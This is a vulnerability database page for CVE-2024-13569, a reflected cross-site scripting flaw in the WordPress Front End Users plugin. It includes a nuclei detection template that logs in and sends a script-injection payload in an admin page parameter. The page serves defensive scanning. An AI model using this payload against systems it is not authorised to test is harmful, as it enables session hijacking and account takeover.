HexBrain

Browse / CVEs / CVE-2024-13569

CVE-2024-13569· etoilewebdesign / front end users· CWE-79

WordPress Front End Users - Reflected XSS

highseverity
7.1CVSS score
0.5%likelihood of exploitation, next 30 days
46%of all CVEs are less likely
Readycheck to confirm it

WordPress Front End Users plugin <= 3.2.32 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link or request.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of the plugin where the issue is fixed or apply security patches that sanitize and escape output properly.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=EWD-FEUP-options&DisplayPage=Fields&OrderBy=Field_Description&Order=DESC&Page=testxss"><script>alert(document.domain)</script>
Positive when: status_code == 200 and contains_all(body, "><script>alert(document.domain)</script>","front-end-only-users")

Run it with nuclei: nuclei -id CVE-2024-13569 -u <target>

The full check
id: CVE-2024-13569

info:
  name: WordPress Front End Users - Reflected XSS
  author: Sourabh-Sahu
  severity: high
  description: |
    WordPress Front End Users plugin <= 3.2.32 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link or request.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed or apply security patches that sanitize and escape output properly.
  reference:
    - https://wpscan.com/vulnerability/b9742440-0e36-4900-b58e-41c9854a62b2/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-13569
    cwe-id: CWE-79
    epss-score: 0.00549
    epss-percentile: 0.46263
    cpe: cpe:2.3:a:etoilewebdesign:front_end_users:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: etoilewebdesign
    product: front_end_users
  tags: cve,cve2024,etoilewebdesign,front-end-users,authenticated,wordpress,wp,wp-plugin,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=EWD-FEUP-options&DisplayPage=Fields&OrderBy=Field_Description&Order=DESC&Page=testxss"><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "><script>alert(document.domain)</script>","front-end-only-users")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from